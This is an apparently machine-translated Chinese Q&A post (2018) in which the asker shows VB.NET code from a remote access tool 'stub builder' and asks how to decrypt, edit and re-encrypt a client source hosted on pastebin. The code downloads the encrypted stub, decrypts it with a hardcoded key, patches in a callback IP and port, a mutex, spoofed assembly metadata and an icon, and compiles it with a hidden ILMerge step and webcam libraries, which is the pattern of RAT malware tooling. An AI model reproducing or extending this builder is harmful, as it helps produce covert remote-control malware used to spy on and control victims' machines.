如何将解密的文本写入.txt文件,添加新代码,然后对文本进行加密,以便程序仍然可以读取它?

时间:2018-09-02 03:55:49

标签: vb.net encryption remote-access stub

我知道,这个问题的标题太可怕了,但是,让我解释一下我要达到的目标。

首先,该程序做什么?

该程序是一种远程访问工具,它使用 stub 来构建当前正在运行的 client 粘贴框:https://pastebin.com/raw/jFwk2aAL

几乎,当操作服务器的用户(如果打开文件时,所有客户端都添加到其中)在构建程序时,他们按下按钮,该按钮显示为“ Build ”。单击“ 构建”按钮后,该代码将生效:

Try

            Dim dialog2 As New SaveFileDialog
            dialog2.Filter = "Executables | *.exe"
            dialog2.InitialDirectory = Application.StartupPath
            dialog2.Title = "Select a path where the stub will be saved..."
            If (dialog2.ShowDialog = DialogResult.OK) Then
                Me.TR_Compile = New Thread(New ParameterizedThreadStart(AddressOf Me.lam__10))
                Me.TR_Compile.Start(dialog2.FileName)
            End If
            dialog2 = Nothing
        End If
    Catch ex As Exception
        Me.StatusBarMain.Text = ex.Message

    End Try

几乎是服务器操作员在此处选择保存文件的位置,即存根(客户端将打开该文件以显示在服务器上)。

存根的位置一旦保存,该代码就会生效:

Private Sub Compile(ByVal path As String)
    Try
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Initializing Build..."})
        Dim source As String = Conversions.ToString(FormMain.RijndaelDecrypt(New WebClient().DownloadString("https://pastebin.com/raw/jFwk2aAL"), "308c036ab4ae32ff202d417d1e15cb667326201f4754644509b9079a81")).Replace("127.0.0.1", Me.tb_ip.Text).Replace("4432", Conversions.ToString(Me.nud_port.Value)).Replace("CLIENTID", Me.tb_clientid.Text).Replace("Single_Mutex_App_Instance", Me.TB_Mutex.Text).Replace("ASSEMBLYTITLE", Me.tb_assemblytitle.Text).Replace("ASSEMBLYDESCRIPTION", Me.tb_assemblydescription.Text).Replace("ASSEMBLYCOMPANY", Me.tb_assemblycompany.Text).Replace("ASSEMBLYPRODUCT", Me.tb_assemblyproduct.Text).Replace("ASSEMBLYCOPYRIGHT", Me.tb_assemblycopyright.Text).Replace("ASSEMBLYTRADEMARK", Me.tb_assemblytrademark.Text).Replace("3.5.2.4", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown9.Value, Me.NumericUpDown2.Value, Me.NumericUpDown3.Value, Me.NumericUpDown4.Value})).Replace("0.0.0.0", String.Format("{0}.{1}.{2}.{3}", New Object() {Me.NumericUpDown8.Value, Me.NumericUpDown7.Value, Me.NumericUpDown6.Value, Me.NumericUpDown5.Value})).Replace("L$01", Conversions.ToString(Me.CheckBox1.Checked)).Replace("L$02", Conversions.ToString(Me.RadioButton1.Checked)).Replace("L$03", Conversions.ToString(Me.RadioButton2.Checked)).Replace("L$04", Conversions.ToString(Me.RadioButton3.Checked)).Replace("L$05", Me.TextBox1.Text).Replace("L$06", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox2.Text, 4) = ".exe"), Me.TextBox2.Text, (Me.TextBox2.Text & ".exe")))).Replace("L$07", Conversions.ToString(Me.CheckBox2.Checked)).Replace("L$08", Conversions.ToString(Interaction.IIf((Strings.Right(Me.TextBox3.Text, 1) = "\"), Me.TextBox3.Text, (Me.TextBox3.Text & "\")))).Replace("L$09", Conversions.ToString(Me.CheckBox6.Checked)).Replace("L$10", Conversions.ToString(Me.CheckBox3.Checked)).Replace("L$11", Conversions.ToString(Me.CheckBox5.Checked)).Replace("L$12", Conversions.ToString(Me.CheckBox7.Checked)).Replace("L$13", Conversions.ToString(Convert.ToInt32(Me.NumericUpDown1.Value)))
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Writing parameter to stub..."})
        Dim compiler As ICodeCompiler = New VBCodeProvider().CreateCompiler
        Dim options As New CompilerParameters
        options.ReferencedAssemblies.Add("System.dll")
        options.ReferencedAssemblies.Add("System.Windows.Forms.dll")
        options.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
        options.ReferencedAssemblies.Add("System.Management.dll")
        options.ReferencedAssemblies.Add("System.Drawing.dll")
        options.ReferencedAssemblies.Add("System.ServiceProcess.dll")
        options.ReferencedAssemblies.Add("AForge.dll")
        options.ReferencedAssemblies.Add("AForge.Controls.dll")
        options.ReferencedAssemblies.Add("AForge.Video.DirectShow.dll")
        options.ReferencedAssemblies.Add("AForge.Video.dll")
        options.GenerateExecutable = True
        options.OutputAssembly = path
        options.CompilerOptions = "/target:winexe /platform:x86 /optimize+ /filealign:512"
        Dim parameters2 As CompilerParameters = options
        parameters2.CompilerOptions = Conversions.ToString(Operators.AddObject(parameters2.CompilerOptions, Interaction.IIf(Operators.ConditionalCompareObjectEqual(Me.PictureBox1.Tag, "", False), "", Operators.ConcatenateObject(" /win32icon:", Me.PictureBox1.Tag))))
        Dim results As CompilerResults = compiler.CompileAssemblyFromSource(options, source)
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Stub builded..."})
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Merging Assemblies..."})
        Dim startInfo As New ProcessStartInfo("ILMerge.exe")
        startInfo.Arguments = String.Concat(New String() {"/target:winexe /out:""", path, """ """, path, """ AForge.Controls.dll AForge.dll AForge.Video.DirectShow.dll AForge.Video.dll"})
        startInfo.WindowStyle = ProcessWindowStyle.Hidden
        Process.Start(startInfo)
        Thread.Sleep(&HBB8)
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {"Finished build !"})
        File.Delete(path.Replace(".exe", ".pdb"))
    Catch exception1 As Exception
        ProjectData.SetProjectError(exception1)
        Dim exception As Exception = exception1
        Me.Invoke(New DelegateAddOutput(AddressOf Me.AddOutput), New Object() {exception.Message})
        ProjectData.ClearProjectError()
    End Try
End Sub

程序在“ 编译”子目录中,下载在pastebin上制作的粘贴,其中包含一些加密字符。然后,程序使用此功能:

 Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) As Object
    Dim managed As New RijndaelManaged
    Dim salt As Byte() = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
    Dim bytes As New Rfc2898DeriveBytes(UKeyU, salt)
    managed.Key = bytes.GetBytes(managed.Key.Length)
    managed.IV = bytes.GetBytes(managed.IV.Length)
    Dim stream2 As New MemoryStream
    Dim stream As New CryptoStream(stream2, managed.CreateDecryptor, CryptoStreamMode.Write)
    Try
        Dim buffer As Byte() = Convert.FromBase64String(UDecryptU)
        stream.Write(buffer, 0, buffer.Length)
        stream.Close()
        UDecryptU = Encoding.UTF8.GetString(stream2.ToArray)
    Catch exception1 As Exception

    End Try
    Return UDecryptU
End Function

解密粘贴在pastebin上的文本。效果很好,但是,我想将自己的功能添加到存根中,但是我不能,因为文本是加密的。所以...

如何解密该文本,自己编辑,然后再次加密,再将其上传到pastebin上的其他粘贴中,但是我的程序可以解密文本并成功地将其写入存根?

如果不清楚,请在下面发表评论。

  

编辑:更改了一些文本,使此问题更有意义。

0 个答案:

没有答案